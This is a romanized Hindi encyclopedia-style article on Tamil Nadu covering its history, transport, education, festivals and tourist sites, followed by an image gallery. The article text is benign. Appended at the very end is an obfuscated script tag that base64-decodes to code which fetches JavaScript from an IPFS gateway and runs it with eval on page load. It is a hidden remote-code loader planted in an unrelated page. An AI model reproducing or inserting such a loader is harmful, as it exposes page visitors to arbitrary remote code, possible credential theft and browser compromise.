sabase pahale tamil nadu mean apani bash‍ti basaee. sanh 1901 mean madras presideansi bani jisamean dakshin prayadvip ke adhikatar hish‍se shamil the. bad mean sanyukh‍t madras rajh‍y ka punargathan kiya gaya aur vartaman tamil nadu rajh‍y astith‍v mean aya.

16vian sadi ke madhy mean vijayanagar samrajy ke patan ke pashchath kuchh purane mandiroan ka pun:rniman kiya gaya. 1670 tak rajy ka lagabhag sampoorn kshetr marathoan ke adhikar mean a gaya. par marathe adhik dinoan tak shasan mean nahian rah sake isake 50 saloan ke bad maisoor svatantr ho gaya jisake adhin aj ke tamiळnadu ka uttar-poorvi kshetr tha. isake alava dakshin ke rajy bhi svatantr ho ge . sanh 1799 mean chauthe aangl-maisoor yuddh mean tipoo sultan ki mrityu ke bad yah aangrezi shasan mean a gaya. tamil sabhyata vishv ki puratanatam sabhyataoan mean se ek hai. tamil yahaan ki adhikarik bhasha hai aur hal mean hi ise janak bhasha ka darja mila. tamiळ bhasha ka itihas kafi prachin hai, jisaka parivartit roop aj samany bolachal mean prayukt hota hai .

tamil nadu ki saanskritik visheshata tanjavur ke bhittichitr, bharatanatyam, mandir-nirman tatha any sthapaty kalaean haian . sant kavi tiruvalluvar ka tirukkural (tamil - திருக்குறள் ), prachin tamil ka prasiddh granth hai. sangam sahity, tamil ke sahityik vikas ka dastavej hai. tamil ka vikas 20vian sadi ke svatantrata sangram ke mean bhi kafi teji se hua . tamil nadu ke uttar mean aandhr pradesh aur karnatak, pashchim mean keral, poorv mean bangal ki kha di aur dakshin mean hiand mahasagar haian.

parivahan

dakshin bharatiy rajyoan ki parivahan pranali chennee mean keandrit hai. [[chitr:Mahabalipuram-Beach-Tamil-Nadu-3.jpg|thumb|250px|left|mahabalipuram bich, tamil nadu]]

s dak marg

• s dakoan ke sanjal ki kul lanbaee qrarib 1,93,918 ki.mi. hai.
• yahaan vahanoan ke yogy s dakoan ka sanjal hai.
• yatri-bas parivahan ko rashtrikrit kiya ja raha hai, drut eksapres basean yatriyoan ko sabhi mahattvapoorn shaharoan aur darshaniy sthaloan tak le jati haian.

rel marg

• tamil nadu se kee rel ga diyaan chalati haian.
• rajh‍y mean chennee, madurai, tiruchirapalli, koyanbattur aur tirunelveli mukhh‍y jankh‍shan haian.
• tamil nadu rajh‍y ki relave lainoan ki kul lanbaee 4,181 kilomitar hai.

[[chitr:Chennai-Egmore.jpg|thumb|250px|chennee egamor, chennee]]

havaee marg

• chennee havaee adda dakshini kshetr ka aantararashh‍triy havaee adda hone ki vajah se vayumarg ka mukhh‍y keandr ban gaya hai.
• chennee havaee adda ke alava tiruchirapalli, madurai, koyanbatoor aur salem mean bhi havaee adde haian.
• isake samip sthit minanbakkam aantarrashtriy havaee adde ke alava tin aur havaee adde kramashah tiruchirappalli, madurai aur koyanbattoor mean haian.

bandaragah

• chennee ke nirmit bandaragah se samudri yatayat sanchalit hota hai.
• chennee aur tootikorin rajh‍y ke pramukh bandaragah haian tatha kuddaloor aur nagapattinam sahit sat chhote bandaragah haian.

shiksha

tamil nadu ka saksharata dar lagabhag 73.47 pratishat (2001) hai. yahaan prathamik, madhyamik v uchch vidyalay aur kala evan vijnan mahavidyalayoan ke sath- sath chikitsa mahavidyalay, abhiyaantriki mahavidyalay, p aauliteknik sansthaean tatha audyogik prashikshan sansthaean haian. tamil nadu mean 21 vishvavidyalay haian, jinamean chennee mean madras vishvavidyalay; anna vishvavidyalay; d aau. aanbedakar vidhi vishvavidyalay; chidanbaram mean annamalaee vishvavidyalay; koyanbattoor mean bharathiyar vishvavidyalay, tiruchirappalli mean bharatidasan vishvavidyalay; madurai mean madurai kamaraj vishvavidyalay; kodaikanal mean madar teresa vinas vishvavidyalay; selam mean periyar vishvavidyalay aur tanjavur mean tamil vishvavidyalay shamil haian. chennee sthit dakshin bharat hidian prachar sabha(1918) aur gaandhigram sthit gaandhigram rooral ianstityoot (1956) rashtriy mahattv ke sansthan haian, jo kramash: hindi bhasha aur mahatma gaandhi ki gramin uchch shiksha ki avadharana ko lokapriy banane mean lage hue haian. vishvavidyalayiy star par aangrezi ki jagah tamil ko shiksha ka madhyam banane ke tivr prayas ho rahe haian.

saanskritik jivan

[[chitr:Mahabalipuram-Beach-Tamil-Nadu-8.jpg|thumb|220px|mahabalipuram bich, tamil nadu]] brahman jati ke purohitoan ke dharmik v rajanitik varchasv ko to dane ke prayasoan ke bavajood hiandoo dharm sanskriti ka kendr bana hua hai. hiandoo dharmik aur sevarth vibhag apane aantargat ane vale 9,300 se bhi zyada b de mandiroan par prashasanik niyantran rakhata hai. visheshakar chidanbaram, kaanchipuram, tanjavur (bhootapoorv tanjaur) aur madurai sahit adhikaansh nagaroan mean gopuram (dvaraminar) chhae hue haian. mandir utsav-chakr shraddhaluoan ko akarshit karate haian. inamean sabase prasiddh rath utsav hai, jisamean moortiyoan se sajjit rathoan ki shobhayatra ke sath mandir ke charoan or parikrama karaee jati hai. hiandoo parivar vibhinn matoan ke pramukh sansthanoan ya mathoan se ju de hue haian. kuanbakonam ka shankar math sabase mahattvapoorn hai.

tyohar

fasal kataee ke tyohar poangal mean janavari mah mean kisan apani achh‍chhi fasal ke lie abhar prakat karane hetu soory, prithvi aur pashuoan ki pooja karate haian. poangal ke bad dakshin tamil nadu ke kuchh hish‍soan mean ‘jallikattoo’ (tamil nadu shaili ki saando ki ladaee) hota hai. tamil nadu mean alanganalh‍loor ‘jallikattoo’ ke lie vishvabhar mean prasiddh hai. ‘chittirai’ madurai ka lokapriy tyohar hai. yah paanday rajakumari minakshi aur bhagavan suandareshvar ke alaikik parinay bandhan ka samriti mean manaya jata hai. tamil mahine ‘adi’ ke atharahavean din nadiyoan ke kinare ‘adiperooku’ parv manaya jata hai. [[chitr:Brihadeeshwara-Temple-Tanjore.jpg|thumb|220px|left|brihadeshvar mandir, tanjaur]] isake sath hi nee fasal ki buvaee se sanbandhit kam bhi shuroo ho jata hai. nrith‍y mahoth‍sav ‘mamallapuram’ ek adbhut mahoth‍sav hai. samudr tat se lage prachin nagar mamallapuram mean pallav rajaoan dvara 13 shatabh‍di poorv chattanoan se katakar banae ge stanbhoan ka ek khula manch hai, jis par lokanrityoan ke alava nrith‍yakala ke sarvashreshh‍th aur suvikhh‍yat kalakaroan dvara bharatanatyam, kuchipudi, kathakali aur odisi nrity prash‍tut kie jate haian. ‘natyaanjali’ nrith‍y mahoth‍sav mean mandiroan ki nagari chidanbaram ke nivasi srishti ke adi nartak bhagavan nataraj ko vishesh shraddhaanjali arpit karate haian.

mahamagham
[[chitr:Ramanathar-Temple.jpg|thumb|rameshvaram mandir]] mahamagham ek pavitr parv hai, jo barah varsh mean ek bar hota hai. mandiroan ki nagari kuanbhakonam ko yah nam daivi patr ‘kuanbh’ se mila hai. grishh‍m mahoth‍sav har varsh ‘parvatiy sh‍thaloan ki rani’ sadabahar ooti, vishishh‍t sh‍thal kodaikanal ya yerookad ki sh‍vash‍thh‍yavarddhak ooanchi pahadiyoan par manaya jata hai. kanthoori uth‍sav vash‍tav mean dharmanirapeksh tyohar hai, jisamean vibhinh‍n samudayoan ke shraddhalu sant fakir kadiravali ki daragah par ikatthe hote haian. sant kadiravali ke shishy-vanshajoan mean se kisi ek ko 'pir' athava adhh‍yatmik neta chuna jata hai aur usaki archana ki jati hai. is uth‍sav ke dasavean din fakir ki daragah par chandan ghisa jata hai aur us pavitr chandan ko sab logoan mean baant diya jata hai. ‘velankanni’ uth‍sav ke bare mean anek ashh‍charyajanak dantakathaean prachalit haian, jinamean se ek yah hai ki solahavian shatabh‍di mean purtagali navikoan ne kuanvari meri ke lie ek vishal girajaghar banavane ka sankalh‍p liya tha, kh‍yoanki unh‍hian ki kripa se bhayankar samudri toofan se unake jivan ki raksha huee thi. ‘velankanni’ uth‍sav dekhane ke lie hazaroan log narangi pattiya dalakar us pavitr sh‍than par ekatr hote haian, jahaan jahaz akar zamin par laga tha. kuanvari meri dvara rogiyoan ko thik kar dene ki chamath‍kari shaktiyoan se sanbandhit anek batean bhi itani hi prachalit haian aur isake lie yah girajaghar, poorv ka lardasau ke nam se bhi prasiddh hai.
navaratr

navaratr parv ka shabdik arth ‘nau ratriyaan’ hai jo bharat ke vibhinh‍n pradeshoan mean bhinh‍n-bhinh‍n roopoan mean aur anokhe dhang se manaya jata hai. yah parv shakti, dhan aur jnan ke lie devi 'shakti' ko santushh‍t karane ke lie manaya jata hai. tamil nadu ka prakash parv ‘kartigai dipamh’ bhi bahut prasiddh hai. isamean gharoan ke bahar mitti ke die jalae jate hai aur ulh‍lasapoorvak patakhe chho de jate haian. [[chitr:Pancha-Rathas-Mahabalipuram-15.jpg|thumb|250px|left|pancharath, mahabalipuram]] tamil nadu ka sangit mahoth‍sav chennee mean disanbar mean manaya jata hai. isamean karnatak sangit ki mahanh aur amoolh‍y panrapara ka nirvah kiya jata hai aur is samaroh mean ne aur purane kalakaroan dvara sangit aur nrith‍y ki avish‍maraniy prastutiyaan pesh hoti haian.

paryatan sh‍thal

chennee, mamallapuram, pooanpuhar, kaanchipuram, kuanbhakonam, dharasuram, chidanbaram, tiyanh‍namalai, shrirangam, madurai, rameshvaram, tiroonelaveli , kanyakumari, tanjavur, velankanni, nagoor chith‍tan vasal, kalugumalai (sh‍marak keandr), kortalam, hogenakh‍kal, papanasham, surooli (jal-prapat), ooti (utakamandalam), kodaikanal, yarakad, ilagiri kollihilh‍s (parvatiy sh‍thal), guiandi (chennee), mudumalaee, anh‍namalaee, muandaanthurai, vellor, maduraantak, kalakad (vanh‍y jivan abhayaranh‍y), vedanthangal tatha ph‍vaiant kelimiyar (pakshi abhayaranh‍y) aur chennee ke samip arinagar anna chi diyaghar adi paryatan ki drishti se kuchh mahath‍vapoorn sh‍than haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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vithika

• chitr:Vadapalani-Temple.jpg

  vadapalani mandir

• chitr:Mookambika-Temple-Kollur.jpg

  mukambika mandir, kolloor

• chitr:Brihadeeshwarar-Temple-Gangaikondacholapuram.jpg

  brihadeshvar mandir, gangaikoandacholapuram

• chitr:Pancha-Rathas-Mahabalipuram-7.jpg

  pancharath, mahabalipuram

• chitr:University-of-Madras.jpg

  madras vishvavidyalay, chennee

• chitr:Kapaleeswarar-Temple-Chennai.jpg

  kapaleshvar mandir, chennee

• chitr:Mahabalipuram-Beach-Tamil-Nadu-7.jpg

  mahabalipuram bich, tamil nadu

• chitr:Suchindram-Temple-Kanyakumari.jpg

  suchindram mandir, kanyakumari

• chitr:Market-Mahabalipuram-3.jpg

  mahabalipuram ke bazar ka ek drishy

• chitr:Nilgiri-Hills.jpg

  nilagiri paha diyaan

• chitr:Crocodile-Bank-Chennai.jpg

  magaramachchh baiank, chennee

• chitr:Sarangapani-Swami-Temple-Kumbakonam.jpg

  sarangapani svami mandir, kumbhakonam

• chitr:Market-Mahabalipuram-2.jpg

  mahabalipuram ke bazar ka ek drishy

• chitr:Art-Gallery-Chennai.jpg

  neshanal art gailari, chennee

• chitr:Mahisha-Mardini-Cave-Mahabalipuram-5.jpg

  mahisha mardani gupha, mahabalipuram

• chitr:Parthasarathy-Temple-Chennai.jpg

  parthasarathi mandir, chennee

• chitr:Meenakshi-Temple-Madurai.jpg

  minakshi mandir, maduree

• chitr:Sree-Ramakrishna-Madh-Chennai.jpg

  shri ramkrishna math, chennee

• chitr:Sunset-Kanyakumari.jpg

  sooryast ka drishy, kanyakumari

• chitr:Mahabalipuram-Beach-Tamil-Nadu.jpg

  mahabalipuram bich, tamil nadu

• chitr:Rayar Gopuram-Mahabalipuram.jpg

  rayar gopuram, mahabalipuram

• chitr:Thirumanancheri-Temple-Kumbakonam.jpg

  thirumanachari mandir, kumbhakonam

• chitr:Shore-Temple-Mahabalipuram.jpg

  shor mandir, mahabalipuram

• chitr:Srirangam-Temple-Srirangam.jpg

  shrirangam mandir, shrirangam

• chitr:Rayar Gopuram-Mahabalipuram-4.jpg

  rayar gopuram, mahabalipuram

• chitr:Vellore-Tamil-Nadu.jpg

  vellor, tamil nadu

• chitr:Shore-Temple-1.jpg

  shor mandir, mahabalipuram

• chitr:Shore-Temple.jpg

  shor mandir, mahabalipuram

• chitr:Rameswaram-Bridge.jpg

  rameshvaram brij, tamil nadu

• chitr:Tamil-Nadu-Legislative-Assembly.jpg

  tamil nadu vidhanasabha

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>